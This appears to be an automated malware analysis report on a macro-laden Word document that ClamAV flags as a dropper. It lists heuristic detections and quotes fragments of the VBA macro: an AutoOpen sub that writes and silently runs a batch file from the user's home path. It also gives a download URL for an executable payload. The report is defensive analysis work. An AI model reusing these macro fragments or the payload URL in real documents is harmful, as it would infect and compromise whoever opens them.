Malicious Office (OOXML) / .DOCX — malware analysis report

Heuristics 8

• ClamAV: Doc.Dropper.Amphitryon-10030014-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Dropper.Amphitryon-10030014-0
• VBA project inside OOXML medium 4 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      Set objShell = CreateObject("WScript.Shell")
      objShell.Run tempPath & "\kronos.bat", 0, False

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

      Dim objFSO, objFile
      Set objFSO = CreateObject("Scripting.FileSystemObject")
      Set objFile = objFSO.CreateTextFile(tempPath & "\kronos.bat", True)

• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

   Sub AutoOpen()
      '

• Environ() call (env variable access) low OLE_VBA_ENVIRON
  Environ() call (env variable access)
  Matched line in script

      downloadedFile = "Clientnew.exe"
      tempPath = Environ("HOMEPATH")

• External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
  Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://products.aspose.com/words/temporary-license/
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://vanthanh.id.vn/net/Clientnew.exe In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
  • https://products.aspose.com/words/temporary-license/Document hyperlink

Open this report in the interactive analyzer, or submit your own file for analysis.